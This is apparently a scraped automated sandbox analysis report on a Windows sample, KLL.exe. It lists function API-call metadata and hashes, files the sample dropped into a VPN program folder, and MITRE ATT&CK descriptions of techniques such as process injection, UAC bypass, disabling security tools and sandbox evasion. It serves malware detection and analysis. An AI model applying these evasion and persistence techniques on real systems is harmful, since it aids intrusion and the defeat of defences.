Opcode Fuzzy Hash: a5d72df100e8f64a6cbc7e45fcaebe44dd012295f17f12c1baa9bfc985e64a44
Instruction Fuzzy Hash: E1118278500605EFDB24DF29C889D9AB7B5FF05318B20C929E43596E10DB31E858CFA8

Function 6C67EB0F Relevance: 5.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C8B72D0,00000001,?,?,?,6C67EAB1,?,00000004,6C67F0C9,6C67C806,6C67F0F2,6C67F81F,6C679FCD,00000001,00000000), ref: 6C67EB1B
TlsGetValue.KERNEL32(6C8B72B4,?,?,?,6C67EAB1,?,00000004,6C67F0C9,6C67C806,6C67F0F2,6C67F81F,6C679FCD,00000001,00000000,?,6C7B1AA6), ref: 6C67EB2F
LeaveCriticalSection.KERNEL32(6C8B72D0,?,?,?,6C67EAB1,?,00000004,6C67F0C9,6C67C806,6C67F0F2,6C67F81F,6C679FCD,00000001,00000000,?,6C7B1AA6), ref: 6C67EB49
LeaveCriticalSection.KERNEL32(6C8B72D0,?,?,?,6C67EAB1,?,00000004,6C67F0C9,6C67C806,6C67F0F2,6C67F81F,6C679FCD,00000001,00000000,?,6C7B1AA6), ref: 6C67EB54

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 793c412e000a2c0d70e50d649a6ff2842e87a8abbd6665275de7bc6aa3a655ab
Instruction ID: cbb7db5f5c9bea7b268e8fc1aa0b6ea5f01bf56b7cdcb1d682ec79adfbde4aab
Opcode Fuzzy Hash: 793c412e000a2c0d70e50d649a6ff2842e87a8abbd6665275de7bc6aa3a655ab
Instruction Fuzzy Hash: 96F024337041109F8F209F18C888DABBB78FF4AB103028468E816EB654C730E84ECAF4

Function 6C943B83 Relevance: 5.0, APIs: 4, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C943A31), ref: 6C943B89
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C943A31), ref: 6C943B92
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C943A31), ref: 6C943B9B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C943A31), ref: 6C943BA4

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 61e035c8d1f43ee58eeb28423d1b2affa786dd2bdd4a7aa9be97bc1304373253
Instruction ID: 50499c7e4b4d919db61ce57b9b21cf0d7a776bd9944c58bfe43e32ea3d50b871
Opcode Fuzzy Hash: 61e035c8d1f43ee58eeb28423d1b2affa786dd2bdd4a7aa9be97bc1304373253
Instruction Fuzzy Hash: 7ED09E311255109FEF212F54DC0D5497F71FF072053504D55F29B42475C76199699B40

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KLL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1

C:\Program Files (x86)\letsvpn\LetsPRO.exe

C:\Program Files (x86)\letsvpn\Update.exe

C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe.config

Windows Analysis Report
KLL.exe

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre